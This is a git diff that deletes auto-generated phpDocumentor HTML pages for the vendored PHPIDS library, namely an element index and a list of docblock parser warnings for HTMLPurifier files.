<dt class="field"> - <span class="method-title">setCentrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#methodsetCentrifuge">IDS_Report::setCentrifuge()</a> in Report.php</div> - <div class="index-item-description">This method sets the centrifuge property</div> - </dd> - <dt class="field"> - <span class="method-title">setConfig</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodsetConfig">IDS_Init::setConfig()</a> in Init.php</div> - <div class="index-item-description">Merges new settings into the exsiting ones or overwrites them</div> - </dd> - <dt class="field"> - <span class="method-title">setConfigPath</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Init.html#methodsetConfigPath">IDS_Init::setConfigPath()</a> in Init.php</div> - <div class="index-item-description">Sets the path to the configuration file</div> - </dd> - <dt class="field"> - <span class="method-title">setExceptions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodsetExceptions">IDS_Monitor::setExceptions()</a> in Monitor.php</div> - <div class="index-item-description">Sets exception array</div> - </dd> - <dt class="field"> - <span class="method-title">setFilterSet</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#methodsetFilterSet">IDS_Filter_Storage::setFilterSet()</a> in Storage.php</div> - <div class="index-item-description">Sets the filter array</div> - </dd> - <dt class="field"> - <span class="method-title">setHtml</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodsetHtml">IDS_Monitor::setHtml()</a> in Monitor.php</div> - <div class="index-item-description">Sets html array</div> - </dd> - <dt class="field"> - <span class="method-title">setJson</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodsetJson">IDS_Monitor::setJson()</a> in Monitor.php</div> - <div class="index-item-description">Sets json array</div> - </dd> - </dl> - <a name="t"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">t</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$tags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Report.html#var$tags">IDS_Report::$tags</a> in Report.php</div> - <div class="index-item-description">List of affected tags</div> - </dd> - <dt class="field"> - <span class="var-title">$tags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$tags">IDS_Filter::$tags</a> in Filter.php</div> - <div class="index-item-description">List of tags of the filter</div> - </dd> - <dt class="field"> - <span class="var-title">$tags</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$tags">IDS_Event::$tags</a> in Event.php</div> - <div class="index-item-description">Affecte tags</div> - </dd> - </dl> - <a name="v"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">v</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$value</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Event.html#var$value">IDS_Event::$value</a> in Event.php</div> - <div class="index-item-description">Value of the event</div> - </dd> - </dl> - -<div class="index-letter-menu"> - <a class="index-letter" href="elementindex_PHPIDS.html#a">a</a> - <a class="index-letter" href="elementindex_PHPIDS.html#c">c</a> - <a class="index-letter" href="elementindex_PHPIDS.html#d">d</a> - <a class="index-letter" href="elementindex_PHPIDS.html#e">e</a> - <a class="index-letter" href="elementindex_PHPIDS.html#f">f</a> - <a class="index-letter" href="elementindex_PHPIDS.html#g">g</a> - <a class="index-letter" href="elementindex_PHPIDS.html#h">h</a> - <a class="index-letter" href="elementindex_PHPIDS.html#i">i</a> - <a class="index-letter" href="elementindex_PHPIDS.html#l">l</a> - <a class="index-letter" href="elementindex_PHPIDS.html#m">m</a> - <a class="index-letter" href="elementindex_PHPIDS.html#n">n</a> - <a class="index-letter" href="elementindex_PHPIDS.html#p">p</a> - <a class="index-letter" href="elementindex_PHPIDS.html#r">r</a> - <a class="index-letter" href="elementindex_PHPIDS.html#s">s</a> - <a class="index-letter" href="elementindex_PHPIDS.html#t">t</a> - <a class="index-letter" href="elementindex_PHPIDS.html#v">v</a> - <a class="index-letter" href="elementindex_PHPIDS.html#_">_</a> -</div> </body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/errors.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/errors.html deleted file mode 100755 index 6c04e391d98eb2a4a188f090d1929d67d0a1aa28..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/errors.html +++ /dev/null @@ -1,1433 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title>phpDocumentor Parser Errors and Warnings</title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <a href="#Post-parsing">Post-parsing</a><br> -<a href="#AttrCollections.php">AttrCollections.php</a><br> -<a href="#AttrDef.php">AttrDef.php</a><br> -<a href="#AttrTransform.php">AttrTransform.php</a><br> -<a href="#AttrTypes.php">AttrTypes.php</a><br> -<a href="#AttrValidator.php">AttrValidator.php</a><br> -<a href="#AutoParagraph.php">AutoParagraph.php</a><br> -<a href="#Background.php">Background.php</a><br> -<a href="#BackgroundPosition.php">BackgroundPosition.php</a><br> -<a href="#Bdo.php">Bdo.php</a><br> -<a href="#BdoDir.php">BdoDir.php</a><br> -<a href="#BgColor.php">BgColor.php</a><br> -<a href="#Bool.php">Bool.php</a><br> -<a href="#BoolToCSS.php">BoolToCSS.php</a><br> -<a href="#Bootstrap.php">Bootstrap.php</a><br> -<a href="#Border.php">Border.php</a><br> -<a href="#Chameleon.php">Chameleon.php</a><br> -<a href="#ChildDef.php">ChildDef.php</a><br> -<a href="#Cleanup.php">Cleanup.php</a><br> -<a href="#Color.php">Color.php</a><br> -<a href="#Comment.php">Comment.php</a><br> -<a href="#CommonAttributes.php">CommonAttributes.php</a><br> -<a href="#Composite.php">Composite.php</a><br> -<a href="#Config.php">Config.php</a><br> -<a href="#ConfigDef.php">ConfigDef.php</a><br> -<a href="#ConfigForm.php">ConfigForm.php</a><br> -<a href="#ConfigSchema.php">ConfigSchema.php</a><br> -<a href="#ContentSets.php">ContentSets.php</a><br> -<a href="#Context.php">Context.php</a><br> -<a href="#Core.php">Core.php</a><br> -<a href="#CSS.php">CSS.php</a><br> -<a href="#CSSDefinition.php">CSSDefinition.php</a><br> -<a href="#Custom.php">Custom.php</a><br> -<a href="#Database.php">Database.php</a><br> -<a href="#Decorator.php">Decorator.php</a><br> -<a href="#Definition.php">Definition.php</a><br> -<a href="#DefinitionCache.php">DefinitionCache.php</a><br> -<a href="#DefinitionCacheFactory.php">DefinitionCacheFactory.php</a><br> -<a href="#DenyElementDecorator.php">DenyElementDecorator.php</a><br> -<a href="#Directive.php">Directive.php</a><br> -<a href="#DirectiveAlias.php">DirectiveAlias.php</a><br> -<a href="#DirectLex.php">DirectLex.php</a><br> -<a href="#DisableExternal.php">DisableExternal.php</a><br> -<a href="#DisableExternalResources.php">DisableExternalResources.php</a><br> -<a href="#DisplayLinkURI.php">DisplayLinkURI.php</a><br> -<a href="#Doctype.php">Doctype.php</a><br> -<a href="#DoctypeRegistry.php">DoctypeRegistry.php</a><br> -<a href="#DOMLex.php">DOMLex.php</a><br> -<a href="#Edit.php">Edit.php</a><br> -<a href="#ElementDef.php">ElementDef.php</a><br> -<a href="#Email.php">Email.php</a><br> -<a href="#Empty.php">Empty.php</a><br> -<a href="#en-x-test.php">en-x-test.php</a><br> -<a href="#en-x-testmini.php">en-x-testmini.php</a><br> -<a href="#en.php">en.php</a><br> -<a href="#Encoder.php">Encoder.php</a><br> -<a href="#End.php">End.php</a><br> -<a href="#EntityLookup.php">EntityLookup.php</a><br> -<a href="#EntityParser.php">EntityParser.php</a><br> -<a href="#Enum.php">Enum.php</a><br> -<a href="#EnumToCSS.php">EnumToCSS.php</a><br> -<a href="#ErrorCollector.php">ErrorCollector.php</a><br> -<a href="#ErrorStruct.php">ErrorStruct.php</a><br> -<a href="#Exception.php">Exception.php</a><br> -<a href="#ExtractStyleBlocks.php">ExtractStyleBlocks.php</a><br> -<a href="#File.php">File.php</a><br> -<a href="#Filter.php">Filter.php</a><br> -<a href="#FixNesting.php">FixNesting.php</a><br> -<a href="#Flexible.php">Flexible.php</a><br> -<a href="#Font.php">Font.php</a><br> -<a href="#FontFamily.php">FontFamily.php</a><br> -<a href="#Forms.php">Forms.php</a><br> -<a href="#FrameTarget.php">FrameTarget.php</a><br> -<a href="#ftp.php">ftp.php</a><br> -<a href="#Generator.php">Generator.php</a><br> -<a href="#Host.php">Host.php</a><br> -<a href="#HostBlacklist.php">HostBlacklist.php</a><br> -<a href="#HTMLDefinition.php">HTMLDefinition.php</a><br> -<a href="#HTMLModule.php">HTMLModule.php</a><br> -<a href="#HTMLModuleManager.php">HTMLModuleManager.php</a><br> -<a href="#HTMLPurifier.auto.php">HTMLPurifier.auto.php</a><br> -<a href="#HTMLPurifier.autoload.php">HTMLPurifier.autoload.php</a><br> -<a href="#HTMLPurifier.func.php">HTMLPurifier.func.php</a><br> -<a href="#HTMLPurifier.includes.php">HTMLPurifier.includes.php</a><br> -<a href="#HTMLPurifier.kses.php">HTMLPurifier.kses.php</a><br> -<a href="#HTMLPurifier.path.php">HTMLPurifier.path.php</a><br> -<a href="#HTMLPurifier.php">HTMLPurifier.php</a><br> -<a href="#HTMLPurifier.safe-includes.php">HTMLPurifier.safe-includes.php</a><br> -<a href="#http.php">http.php</a><br> -<a href="#https.php">https.php</a><br> -<a href="#Hypertext.php">Hypertext.php</a><br> -<a href="#ID.php">ID.php</a><br> -<a href="#Id.php">Id.php</a><br> -<a href="#IDAccumulator.php">IDAccumulator.php</a><br> -<a href="#Image.php">Image.php</a><br> -<a href="#ImgRequired.php">ImgRequired.php</a><br> -<a href="#ImgSpace.php">ImgSpace.php</a><br> -<a href="#ImportantDecorator.php">ImportantDecorator.php</a><br> -<a href="#Injector.php">Injector.php</a><br> -<a href="#Input.php">Input.php</a><br> -<a href="#Integer.php">Integer.php</a><br> -<a href="#Interchange.php">Interchange.php</a><br> -<a href="#InterchangeBuilder.php">InterchangeBuilder.php</a><br> -<a href="#IPv4.php">IPv4.php</a><br> -<a href="#IPv6.php">IPv6.php</a><br> -<a href="#Lang.php">Lang.php</a><br> -<a href="#Language.php">Language.php</a><br> -<a href="#LanguageFactory.php">LanguageFactory.php</a><br> -<a href="#Legacy.php">Legacy.php</a><br> -<a href="#Length.php">Length.php</a><br> -<a href="#Lexer.php">Lexer.php</a><br> -<a href="#Linkify.php">Linkify.php</a><br> -<a href="#LinkTypes.php">LinkTypes.php</a><br> -<a href="#List.php">List.php</a><br> -<a href="#ListStyle.php">ListStyle.php</a><br> -<a href="#mailto.php">mailto.php</a><br> -<a href="#MakeAbsolute.php">MakeAbsolute.php</a><br> -<a href="#MakeWellFormed.php">MakeWellFormed.php</a><br> -<a href="#Memcached.php">Memcached.php</a><br> -<a href="#Memory.php">Memory.php</a><br> -<a href="#Monitor.php">Monitor.php</a><br> -<a href="#MultiLength.php">MultiLength.php</a><br> -<a href="#Multiple.php">Multiple.php</a><br> -<a href="#Munge.php">Munge.php</a><br> -<a href="#Name.php">Name.php</a><br> -<a href="#Namespace.php">Namespace.php</a><br> -<a href="#Native.php">Native.php</a><br> -<a href="#news.php">news.php</a><br> -<a href="#Nmtokens.php">Nmtokens.php</a><br> -<a href="#nntp.php">nntp.php</a><br> -<a href="#NonXMLCommonAttributes.php">NonXMLCommonAttributes.php</a><br> -<a href="#Null.php">Null.php</a><br> -<a href="#Number.php">Number.php</a><br> -<a href="#Object.php">Object.php</a><br> -<a href="#Optional.php">Optional.php</a><br> -<a href="#PEARSax3.php">PEARSax3.php</a><br> -<a href="#Percentage.php">Percentage.php</a><br> -<a href="#PercentEncoder.php">PercentEncoder.php</a><br> -<a href="#PH5P.php">PH5P.php</a><br> -<a href="#Pixels.php">Pixels.php</a><br> -<a href="#Presentation.php">Presentation.php</a><br> -<a href="#Printer.php">Printer.php</a><br> -<a href="#Proprietary.php">Proprietary.php</a><br> -<a href="#PurifierLinkify.php">PurifierLinkify.php</a><br> -<a href="#RemoveEmpty.php">RemoveEmpty.php</a><br> -<a href="#RemoveForeignElements.php">RemoveForeignElements.php</a><br> -<a href="#Required.php">Required.php</a><br> -<a href="#Ruby.php">Ruby.php</a><br> -<a href="#SafeEmbed.php">SafeEmbed.php</a><br> -<a href="#SafeObject.php">SafeObject.php</a><br> -<a href="#SafeParam.php">SafeParam.php</a><br> -<a href="#Scripting.php">Scripting.php</a><br> -<a href="#ScriptRequired.php">ScriptRequired.php</a><br> -<a href="#Serializer.php">Serializer.php</a><br> -<a href="#Session.php">Session.php</a><br> -<a href="#Simple.php">Simple.php</a><br> -<a href="#SimpleCheck.php">SimpleCheck.php</a><br> -<a href="#Start.php">Start.php</a><br> -<a href="#Strategy.php">Strategy.php</a><br> -<a href="#Strict.php">Strict.php</a><br> -<a href="#StrictBlockquote.php">StrictBlockquote.php</a><br> -<a href="#StringHash.php">StringHash.php</a><br> -<a href="#StringHashParser.php">StringHashParser.php</a><br> -<a href="#StyleAttribute.php">StyleAttribute.php</a><br> -<a href="#Switch.php">Switch.php</a><br> -<a href="#Table.php">Table.php</a><br> -<a href="#Tables.php">Tables.php</a><br> -<a href="#Tag.php">Tag.php</a><br> -<a href="#TagTransform.php">TagTransform.php</a><br> -<a href="#Target.php">Target.php</a><br> -<a href="#Text.php">Text.php</a><br> -<a href="#Textarea.php">Textarea.php</a><br> -<a href="#TextDecoration.php">TextDecoration.php</a><br> -<a href="#Tidy.php">Tidy.php</a><br> -<a href="#Token.php">Token.php</a><br> -<a href="#TokenFactory.php">TokenFactory.php</a><br> -<a href="#Transitional.php">Transitional.php</a><br> -<a href="#UnitConverter.php">UnitConverter.php</a><br> -<a href="#URI.php">URI.php</a><br> -<a href="#URIDefinition.php">URIDefinition.php</a><br> -<a href="#URIFilter.php">URIFilter.php</a><br> -<a href="#URIParser.php">URIParser.php</a><br> -<a href="#URIScheme.php">URIScheme.php</a><br> -<a href="#URISchemeRegistry.php">URISchemeRegistry.php</a><br> -<a href="#ValidateAttributes.php">ValidateAttributes.php</a><br> -<a href="#Validator.php">Validator.php</a><br> -<a href="#ValidatorAtom.php">ValidatorAtom.php</a><br> -<a href="#VarParser.php">VarParser.php</a><br> -<a href="#VarParserException.php">VarParserException.php</a><br> -<a href="#XHTML.php">XHTML.php</a><br> -<a href="#XHTMLAndHTML4.php">XHTMLAndHTML4.php</a><br> -<a href="#Xml.php">Xml.php</a><br> -<a href="#XMLCommonAttributes.php">XMLCommonAttributes.php</a><br> -<a href="#YouTube.php">YouTube.php</a><br> -<a name="AlphaValue.php"></a> -<h1>AlphaValue.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_AlphaValue<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/AlphaValue.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="AttrCollections.php"></a> -<h1>AttrCollections.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrCollections<br> -<b>Warning on line 125</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="AttrDef.php"></a> -<h1>AttrDef.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef<br> -<b>Warning on line 57</b> - Unknown tag "@note" used<br> -<b>Warning on line 57</b> - Unknown tag "@warning" used<br> -<b>Warning on line 84</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="AttrTransform.php"></a> -<h1>AttrTransform.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 17</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform<br> -<b>Warning on line 53</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="AttrTypes.php"></a> -<h1>AttrTypes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTypes<br> -<b>Warning on line 71</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTypes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="AttrValidator.php"></a> -<h1>AttrValidator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrValidator<br> -<b>Warning on line 159</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrValidator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="AutoParagraph.php"></a> -<h1>AutoParagraph.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector_AutoParagraph<br> -<b>Warning on line 337</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/AutoParagraph.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Background.php"></a> -<h1>Background.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Background<br> -<b>Warning on line 6</b> - Unknown tag "@warning" used<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Background<br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 20</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Background.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 84</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Background.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="BackgroundPosition.php"></a> -<h1>BackgroundPosition.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 44</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_BackgroundPosition<br> -<b>Warning on line 123</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Bdo.php"></a> -<h1>Bdo.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Bdo<br> -<b>Warning on line 28</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Bdo.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="BdoDir.php"></a> -<h1>BdoDir.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_BdoDir<br> -<b>Warning on line 16</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BdoDir.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="BgColor.php"></a> -<h1>BgColor.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_BgColor<br> -<b>Warning on line 20</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BgColor.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Bool.php"></a> -<h1>Bool.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_Bool<br> -<b>Warning on line 25</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Bool.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="BoolToCSS.php"></a> -<h1>BoolToCSS.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_BoolToCSS<br> -<b>Warning on line 33</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BoolToCSS.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Bootstrap.php"></a> -<h1>Bootstrap.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 15</b> - -duplicate define element "PHP_EOL" in file /home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php will be ignored. -Use an @ignore tag on the original if you want this case to be documented.<br> -<b>Warning on line 18</b> - -duplicate define element "PHP_EOL" in file /home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php will be ignored. -Use an @ignore tag on the original if you want this case to be documented.<br> -<b>Warning on line 29</b> - Unknown tag "@note" used<br> -<b>Warning on line 30</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Bootstrap<br> -<b>Warning on line 95</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Border.php"></a> -<h1>Border.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Border<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Border<br> -<b>Warning on line 15</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Border.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 40</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Border.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Chameleon.php"></a> -<h1>Chameleon.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_Chameleon<br> -<b>Warning on line 45</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Chameleon.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ChildDef.php"></a> -<h1>ChildDef.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef<br> -<b>Warning on line 45</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<h2>Errors:</h2><br> -<b>Error on line 44</b> - DocBlock has multiple @return tags, illegal. ignoring additional tag "@return array of replacement child tokens"<br> -<b>Error on line 44</b> - DocBlock has multiple @return tags, illegal. ignoring additional tag "@return bool false to remove parent node"<br> -<a name="Cleanup.php"></a> -<h1>Cleanup.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCache_Decorator_Cleanup<br> -<b>Warning on line 40</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Color.php"></a> -<h1>Color.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_HTML_Color<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Color<br> -<b>Warning on line 29</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/HTML/Color.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 75</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Color.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Comment.php"></a> -<h1>Comment.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token_Comment<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Comment.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="CommonAttributes.php"></a> -<h1>CommonAttributes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_CommonAttributes<br> -<b>Warning on line 22</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/CommonAttributes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Composite.php"></a> -<h1>Composite.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy_Composite<br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_Composite<br> -<b>Warning on line 22</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Composite.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Log/Interface.php'", use another DocBlock to document the source element<br> -<b>Warning on line 35</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/Composite.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<h2>Errors:</h2><br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<a name="Config.php"></a> -<h1>Config.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 16</b> - Unknown tag "@note" used<br> -<b>Warning on line 16</b> - Unknown tag "@warning" used<br> -<b>Warning on line 17</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Config<br> -<b>Warning on line 58</b> - Unknown tag "@note" used<br> -<b>Warning on line 157</b> - Unknown tag "@note" used<br> -<b>Warning on line 423</b> - Unknown tag "@note" used<br> -<b>Warning on line 488</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ConfigDef.php"></a> -<h1>ConfigDef.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigDef<br> -<b>Warning on line 7</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigDef.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ConfigForm.php"></a> -<h1>ConfigForm.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer_ConfigForm<br> -<b>Warning on line 187</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer_ConfigForm_NullDecorator<br> -<b>Warning on line 237</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer_ConfigForm_default<br> -<b>Warning on line 319</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer_ConfigForm_bool<br> -<b>Warning on line 365</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ConfigSchema.php"></a> -<h1>ConfigSchema.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Builder_ConfigSchema<br> -<b>Warning on line 11</b> - Unknown tag "@note" used<br> -<b>Warning on line 49</b> - File 